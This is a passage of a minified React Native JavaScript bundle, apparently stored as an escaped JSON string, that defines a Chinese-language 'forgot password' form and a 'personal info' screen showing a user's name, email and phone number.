e=this;return[n.default.createElement(r.ScrollView,{style:{flex:1}},n.default.createElement(m.default,{style:q.input,hint:\"\\u8bf7\\u8f93\\u5165\\u7528\\u6237\\u540d\",onChangeText:function(t){e._username=t}}),n.default.createElement(m.default,{style:q.input,hint:\"\\u8bf7\\u8f93\\u5165\\u90ae\\u4ef6\\u5730\\u5740\",onChangeText:function(t){e._email=t}}),n.default.createElement(s.default,{style:q.commitBtn,text:\"\\u63d0\\u4ea4\",textColor:\"white\",onClick:this._commit})),n.default.createElement(c.default,{message:this.state.message,hideBlock:function(){e._toast()}}),n.default.createElement(g.default,{show:this.state.loading})]}}]),t}(i.Component));C.navigationOptions={title:\"\\u5fd8\\u8bb0\\u5bc6\\u7801\"},l.default=C;var q=r.StyleSheet.create({input:{height:44},commitBtn:{marginTop:50,marginLeft:20,marginRight:20,height:44,borderRadius:3,backgroundColor:d.themeColor}})},438);\n__d(function(e,t,l,a){Object.defineProperty(a,\"__esModule\",{value:!0});var r=t(52),u=babelHelpers.interopRequireDefault(r),n=t(12),i=t(420),s=babelHelpers.interopRequireDefault(i),f=t(407),o=babelHelpers.interopRequireDefault(f),c=function(e){function t(e){babelHelpers.classCallCheck(this,t);var l=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return l.state={},l}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this.props.navigation.state.params.user_info;return u.default.createElement(n.View,{style:d.v},u.default.createElement(n.ScrollView,null,u.default.createElement(s.default,{title:\"\\u7528\\u6237\\u540d\",value:e.username}),u.default.createElement(o.default,null),u.default.createElement(s.default,{title:\"\\u90ae\\u7bb1\",value:e.email}),u.default.createElement(o.default,null),u.default.createElement(s.default,{title:\"\\u624b\\u673a\\u53f7\",value:e.mobile}),u.default.createElement(o.default,null)))}}]),t}(r.Component);c.navigationOptions={title:\"\\u4e2a\\u4eba\\u4fe1\\u606f\"},a.default=c;var d=n.StyleSheet.create({v:{flex:1}})},439);\n;require(64);\n;require(0);"
  }
]